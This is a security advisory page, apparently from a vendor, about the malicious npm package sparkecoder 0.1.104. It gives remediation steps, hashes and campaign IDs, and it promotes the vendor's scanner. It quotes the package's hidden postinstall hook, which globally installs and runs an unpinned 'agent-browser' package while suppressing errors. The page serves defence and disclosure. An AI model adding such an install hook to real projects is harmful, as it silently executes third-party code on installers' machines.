Which versions of sparkecoder are malicious?

The following npm versions of sparkecoder are flagged malicious: 0.1.104. Treat any of these as compromised.

How do I remediate sparkecoder if I installed it?

Remove sparkecoder from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed sparkecoder — how do I know if it already compromised me?

If sparkecoder was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is sparkecoder part of a known attack campaign?

Yes — sparkecoder is associated with the IN-MAL-2026-003747, IN-MAL-2026-003746 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find sparkecoder across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sparkecoder (version 0.1.104). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sparkecoder across your stack and pipelines.

Malicious package

sparkecodernpm

Malicious code in sparkecoder (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4673

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall sparkecoder

What this malware does

package.json declares a postinstall hook: "npm install -g agent-browser 2>/dev/null || true; agent-browser install 2>/dev/null || true". On npm install sparkecoder, this fetches whatever the current 'latest' version of the separate agent-browser package is on the npm registry, installs it globally (typically requiring elevated privileges), then invokes agent-browser install to run that package's own install-time logic. Both stderr and non-zero exit codes are suppressed (2>/dev/null || true), hiding any failure or output from the installer. The behavior is undocumented in the README. Because the dependency is unpinned and pulled transitively through a side channel (not via package.json dependencies), the installer's trust in sparkecoder is silently extended to whatever agent-browser ships today and at any future moment, with no version lock and no audit trail in the dependency tree. This is the namespace-abuse shape: sparkecoder itself is small, but installing it causes attacker- or third-party-controlled code from another package to execute on the installer's machine at install time, outside the normal dependency-resolution surface that lockfiles and audit tools inspect.

Malicious versions

1 flagged

0.1.104

Indicators of compromise (SHA-256)

682e2efcf4c2e75d9488a35060f8f9b37ef60903150a73270dc4743f87d306a1

d4e17b053b29d371301e49a703b1b6d2fba5631df4bf7b6926503a6b8bb82257

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sparkecoder (version 0.1.104). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sparkecoder across your stack and pipelines.
If you installed it — respond
Remove sparkecoder from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If sparkecoder was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sparkecoder before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. sparkecoder on npm has been identified as a malicious package (version 0.1.104 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003747IN-MAL-2026-003746

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks sparkecoder-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring